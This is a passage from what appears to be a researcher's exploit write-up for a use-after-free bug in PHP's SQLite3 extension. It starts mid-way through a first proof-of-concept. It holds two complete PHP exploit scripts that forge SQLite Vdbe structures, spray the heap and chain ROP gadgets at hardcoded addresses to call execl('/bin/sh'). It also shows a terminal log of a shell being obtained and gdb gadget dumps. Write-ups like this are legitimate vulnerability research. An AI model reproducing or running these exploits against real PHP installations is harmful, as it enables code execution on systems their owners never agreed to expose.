$db_exp->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$db_spray->exec('CREATE TABLE foo (id INTEGER, bar BLOB)');
$stmt_exp = $db_exp->prepare('SELECT bar FROM foo WHERE id=:id');
$db_exp->close();

/* setup fake structures */
$pad = 6;
$fake_vdbe  = str_repeat(pack("L", 0xdeadbeef), $pad);

$fake_vdbe .= pack("L", $stmt_address+216);  # sqlite3 *db 
$fake_vdbe .= pad(11);
$fake_vdbe .= pack("L", 0x44444444);  # p->nCursor
$fake_vdbe .= pad(4);
$fake_vdbe .= pack("L", $stmt_address+232); # p->apCsr
$fake_vdbe .= pad(36);

# sqlite3 db struct starts here
$fake_vdbe .= pad(3);
$fake_vdbe .= pad(1);    # sqlite3_mutex *mutex = NULL
$fake_vdbe .= pack("L", $stmt_address+236); # p->apCsr[0]

# apCsr struct starts here
$fake_vdbe .= pad(1);     # pCx->Cursor,  sqlite3BtreeCloseCursor
$fake_vdbe .= pad(1);     # pCx->pBt,     sqlite3BtreeClose
$fake_vdbe .= pad(6);
$fake_vdbe .= pack("L", $stmt_address+300); # apCsr[0]->pVtabCursor
$fake_vdbe .= pad(6);
$fake_vdbe .= pad(1);     # pCsr->pSorter

# pVtabCursor
$fake_vdbe .= pack("L", $stmt_address+304); # pVtabCursor->pVtab
$fake_vdbe .= pack("L", $stmt_address+308); # pVtabCursor->pVtab->pModule

# pModule
$fake_vdbe .= pack("L", 0x081a9930);  # pop esp; ret
$fake_vdbe .= pack("L", $stmt_address+340); # address to ROP payload
$fake_vdbe .= pack("L", 0x55555555);  
$fake_vdbe .= pack("L", 0x086c2e16);  # stack pivot, pop esi ; mov bh, 0x03 ; pop esp ; ret
$fake_vdbe .= pack("L", 0x55555555);
$fake_vdbe .= pack("L", 0x55555555);
$fake_vdbe .= pack("L", 0x55555555);
$fake_vdbe .= pack("L", 0x08183a4b);   # pModule->xClose, mov dword [esp], ecx ; call dword [edx+0x14]

# payload
$fake_vdbe .= pack("L", 0x080965c0);  # execl("/bin/sh", NULL)
$fake_vdbe .= pack("L", 0xdeadbeef);
$fake_vdbe .= pack("L", 0x087c1548);
$fake_vdbe .= pack("L", 0x00000000);

$fake_vdbe .= str_repeat("B", 0x214 - strlen($fake_vdbe)); 

/* heap spray */
for($i = 0; $i <= 200; $i++){
    $db_spray->exec("INSERT INTO foo (id, bar) VALUES (" . (string)$i . ", X'" . bin2hex($fake_vdbe) . "')");
}

echo("[*] Triggering UAF to get shell". PHP_EOL);
$stmt_exp->reset();

/*
renorobert@ubuntu:~$ php -f 66550_poc.php 
[*] Triggering info leak using UAF
[*] Leaked heap address = 0x9819790
[*] Vdbe statement struct at address = 0x982d878
[*] Triggering UAF to get shell
$ 
*/
?>
Alternate Code Path

After some analysis, I found another code path which is far more simpler to exploit
static void closeAllCursors(Vdbe *p){

  if( p->pFrame ){ // skip this
    VdbeFrame *pFrame;
    for(pFrame=p->pFrame; pFrame->pParent; pFrame=pFrame->pParent);
    sqlite3VdbeFrameRestore(pFrame);
    p->pFrame = 0;
    p->nFrame = 0;
  }
  assert( p->nFrame==0 );

  if( p->apCsr ){      // skip this
    int i;
    for(i=0; inCursor; i++){
      VdbeCursor *pC = p->apCsr[i];
      if( pC ){
        sqlite3VdbeFreeCursor(p, pC);
        p->apCsr[i] = 0;
      }
    }
  }
  if( p->aMem ){ // skip this
    releaseMemArray(&p->aMem[1], p->nMem);
  }
  while( p->pDelFrame ){ // skip this
    VdbeFrame *pDel = p->pDelFrame;
    p->pDelFrame = pDel->pParent;
    sqlite3VdbeFrameDelete(pDel);
  }

  /* Delete any auxdata allocations made by the VM */
  if( p->pAuxData ) sqlite3VdbeDeleteAuxData(p, -1, 0); // take this path
  assert( p->pAuxData==0 );
}

void sqlite3VdbeDeleteAuxData(Vdbe *pVdbe, int iOp, int mask){
  AuxData **pp = &pVdbe->pAuxData;
  while( *pp ){
    AuxData *pAux = *pp;
    if( (iOp<0) || (pAux->iOp==iOp && (pAux->iArg>31 || !(mask & MASKBIT32(pAux->iArg)))))
      {
      
      if( pAux->xDelete ){
        pAux->xDelete(pAux->pAux); // EIP control
New code path is sqlite3_reset -> sqlite3VdbeReset -> sqlite3VdbeHalt -> closeAllCursors -> sqlite3VdbeDeleteAuxData -> pAux->xDelete(pAux->pAux) . This is far more easier to control Vdbe->pAuxData->xDelete

   struct Vdbe       struct sqlite3 [Also a gadget] 
[   sqlite3 *db    ]-------->[ AAAA ] 
[                  ]         [ AAAA ] 
[AuxData *pAuxData ]----|    [ AAAA ]  
[                  ]    |    [sqlite3_mutex *mutex] 
                           |
                           |   struct AuxData
                           |--->[       ]
                                [       ]
                                [       ]
                                [xDelete]

Our struct AuxData is very simple, we spray a single address throughout the heap, which is gadget mov dword [esp], edi ; call dword [edi+0x04]. Note that edi points to our vdbe struct ie sqlite3_stmt structure, which we have full control of. So sqlite3_stmt is given as first argument and we make the call [sqlite3_stmt+0x4].

At sqlite3_stmt+4 we have address of gadget pop esi; mov bh,0x03; pop esp; ret. Neat, we will pivot our stack back to our sqlite3_stmt.

But [sqlite3_stmt+0] points to sqlite3 *db struct, such that sqlite3_stmt->sqlite3->mutex should be NULL to avoid the mutex call. So we need to provide an address which will act both as valid struct as well as a neat gadget. This is what I got

gdb-peda$ x/3i 0x8093cbe
   0x8093cbe <_init+30>: add    esp,0x8
   0x8093cc1 <_init+33>: pop    ebx
   0x8093cc2 <_init+34>: ret    
gdb-peda$ x/4wx 0x8093cbe
0x8093cbe <_init+30>: 0x5b08c483 0x000000c3 0x00000000 0x00000000 [db->mutex]
Now this gadget will land us right into execl("/bin/sh", NULL) after the stack pivot and hence code execution. Below is the exploit
<?php

error_reporting(0);

function pad($num){
    return str_repeat(pack("L", 0x00000000), $num);
}

$db_exp    = new SQLite3(':memory:');
$db_spray  = new SQLite3(':memory:');

$db_exp->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$db_spray->exec('CREATE TABLE foo (id INTEGER, bar BLOB)');
$stmt_exp = $db_exp->prepare('SELECT bar FROM foo WHERE id=:id');
$db_exp->close();

$pad = 298;
$fake_vdbe  = str_repeat(pack("L", 0xdeadbeef), $pad);
$fake_vdbe .= pack("L", 0x08093cbe);     # sqlite3 *db 

/* acts both as sqlite3 struct and gadget, db->mutex = NULL
gdb-peda$ x/3i 0x8093cbe
   0x8093cbe <_init+30>: add    esp,0x8
   0x8093cc1 <_init+33>: pop    ebx
   0x8093cc2 <_init+34>: ret    
gdb-peda$ x/4wx 0x8093cbe
0x8093cbe <_init+30>: 0x5b08c483 0x000000c3 0x00000000 0x00000000 [db->mutex]
*/

$fake_vdbe .= pack("L", 0x086c2e16);     # pop esi;mov bh,0x03;pop esp;ret; stack pivot,called by sprayed gadget call dword [edi+0x04]
$fake_vdbe .= pad(2);

# payload
$fake_vdbe .= pack("L", 0x080965c0);     # execl("/bin/sh", NULL)
$fake_vdbe .= pack("L", 0xdeadbeef);
$fake_vdbe .= pack("L", 0x087c1548);
$fake_vdbe .= pack("L", 0x00000000);

$fake_vdbe .= pad(46);
$fake_vdbe .= pack("L", 0x0c0c0c0c);
$fake_vdbe .= str_repeat("A", 0x600 - strlen($fake_vdbe)); 

echo("[*] Reallocating freed memory". PHP_EOL);
/* heap spray */
for($i = 0; $i <= 300; $i++){
    $db_spray->exec("INSERT INTO foo (id, bar) VALUES (" . (string)$i . ", X'" . bin2hex($fake_vdbe) . "')");
}

echo("[*] Heap spraying the gadget". PHP_EOL);
$spray = str_repeat(pack("L", 0x08189c6f), 0x40000);  # mov dword [esp], edi ; call dword [edi+0x04]; edi points to vdbe struct

for($i = 0; $i <= 300; $i++){
    $db_spray->exec("INSERT INTO foo (id, bar) VALUES (" . (string)$i . ", X'" . bin2hex($spray) . "')");
}
echo("[*] Triggering UAF to get shell". PHP_EOL);
$stmt_exp->reset();

?>
Thats a long writeup!